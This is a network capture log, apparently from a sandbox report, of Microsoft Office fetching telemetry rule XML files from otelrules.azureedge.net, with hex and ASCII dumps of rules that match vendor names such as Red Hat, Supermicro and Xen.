2024-11-15 18:39:28 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 6b1971c7-b01e-0053-1140-36cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-16547b76f7fkf5v9hC1DFW2y5s00000001gg00000000mx1u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.7	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-164f84587bfj5xwnhC1DFW3a28000000013000000000p76n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: a49129a8-d01e-008e-6b2a-36387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-164f84587bfm8kdnhC1DFWey4g00000001v000000000202t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183928Z-16547b76f7fmbrhqhC1DFWkds80000000nk000000000cw12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:28 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183929Z-1866b5c5fbbqmbqjhC1DFWwgvc000000016g00000000dpky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:29 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183929Z-16547b76f7fxdzxghC1DFWmf7n0000000nr0000000002tt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:29 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183929Z-16547b76f7fx6rhxhC1DFW76kg0000000nd000000000vw0z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:29 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183929Z-16547b76f7fw2955hC1DFWsptc000000022g00000000x3rh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:29 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:29 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 96cf3c30-101e-008d-3e69-3592e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183929Z-1866b5c5fbbt75vghC1DFW0qd400000001p0000000003m5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:29 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:29 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183929Z-16547b76f7f9s8x7hC1DFWywrg00000001k000000000217p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:30 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:30 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183930Z-16547b76f7f67wxlhC1DFWah9w0000000nkg000000003z4g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:30 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:30 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:30 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 05e9aefb-801e-00ac-4740-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183930Z-16547b76f7f775p5hC1DFWzdvn0000000nhg0000000081ng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:30 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:30 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
